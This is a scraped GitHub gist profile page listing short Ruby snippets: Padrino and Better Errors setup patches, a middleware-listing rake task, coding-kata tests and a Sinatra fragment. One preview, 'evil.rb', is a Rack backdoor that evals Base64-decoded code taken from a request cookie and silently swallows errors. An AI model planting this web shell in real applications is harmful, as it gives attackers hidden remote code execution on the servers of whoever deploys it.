Skip to content

Instantly share code, notes, and snippets.

💤
zzz

Takeshi Yabe tyabe

💤
zzz
Block or report user

Report or block tyabe

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View evil.rb
def _!
begin
yield
rescue Exception
end
end
Rack::Sendfile.prepend Module.new{
define_method(:call){|e|
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))}
@tyabe
tyabe / kana01.rb
Last active Aug 29, 2015 — forked from saboyutaka/kana01.rb
神奈川Ruby会議01で @saboyutaka さんとのペアプロ結果
View kana01.rb
input = [
# [ id, input, expected ],
[ 0, "4*5+6&7|8", "44" ],
[ 1, "15*5", "75" ],
[ 2, "15+5", "20" ],
[ 3, "15&5", "5" ],
[ 4, "15|5", "15" ],
[ 5, "30*15*5", "2250" ],
[ 6, "30*15+5", "600" ],
[ 7, "30*15&5", "150" ],
@tyabe
tyabe / Gemfile
Created Dec 7, 2014
padrino-cache with sinatra
View Gemfile
source "https://rubygems.org"
gem 'sinatra', require: 'sinatra/base'
gem 'padrino-cache', require: false
@tyabe
tyabe / boot.rb
Created Nov 10, 2013
This patch is a thing to be use the BetterErrors in Padrino 0.11 or later. Because, BettorErrors's XHR prevent by rack-protection.
View boot.rb
# This file in a config directory.
if Padrino.env == :development
# Setup better_errors
Padrino::Application.use BetterErrors::Middleware
BetterErrors.application_root = PADRINO_ROOT
BetterErrors::Middleware.allow_ip! ENV['TRUSTED_IP'] if ENV['TRUSTED_IP']
Padrino::Application.set :exclude_from_protection, '/__better_errors' # Append this
# ...
end
@tyabe
tyabe / app.rb
Created Sep 1, 2013
Padrino 0.11 以降で Better Errors を使う ref: http://qiita.com/tyabe/items/b5300572a9dfd7f7e039
View app.rb
module Sample
class App < Padrino::Application
#...
set :protect_from_csrf, except: %r{/__better_errors/\d+/\w+\z}
@tyabe
tyabe / stacked_middlewares.rake
Last active Aug 8, 2016
Display lists of all stacked rack middleware for your padrino app
View stacked_middlewares.rake
##
# This is rake task of padrino-framework
# Display lists of all stacked rack middleware for your padrino app.
# distributed under the MIT License(http://tyabe.mit-license.org/)
#
def stacked_middlewares(app, args)
require Padrino.root('config/boot.rb')
app_obj = app.app_obj
instance = app_obj.new!
build = app_obj.build(instance)
@tyabe
tyabe / better_errors_plugin.rb
Created Dec 16, 2012
This is Padrino Plugin for better_errors.
View better_errors_plugin.rb
##
# Better Errors plugin on Padrino
#
# https://github.com/charliesome/better_errors
#
GEMFILE = <<-GEMFILE
# Better Errors
group :development do
@tyabe
tyabe / Gemfile
Created Dec 12, 2012
Padrino で Better Errors を使う ref: http://qiita.com/items/1512c5c4aab5d51c811a
View Gemfile
group :development do
gem "better_errors"
gem "binding_of_caller"
end
View tetromino_spec.rb
module Tetoromino
def self.parse(coordinate)
before = coordinate.split(',').sort
mx, my = before.map{|c|c.split(//)}.transpose.map(&:sort).map(&:first)
coordinate = before.map { |o| "#{o[0].to_i - mx.to_i}#{o[1].to_i - my.to_i}" }.join(',')
ptn_l = %w[
00,01,02,12
00,01,10,20
00,10,11,12
View zenra_mvc.rb
#! /usr/bin/env ruby
# coding: utf-8
require 'sinatra/base'
require 'active_resource'
require 'haml'
class MAService < ActiveResource::Base
self.site = 'http://jlp.yahooapis.jp'
DEFAULT_PARAMS = {
You can’t perform that action at this time.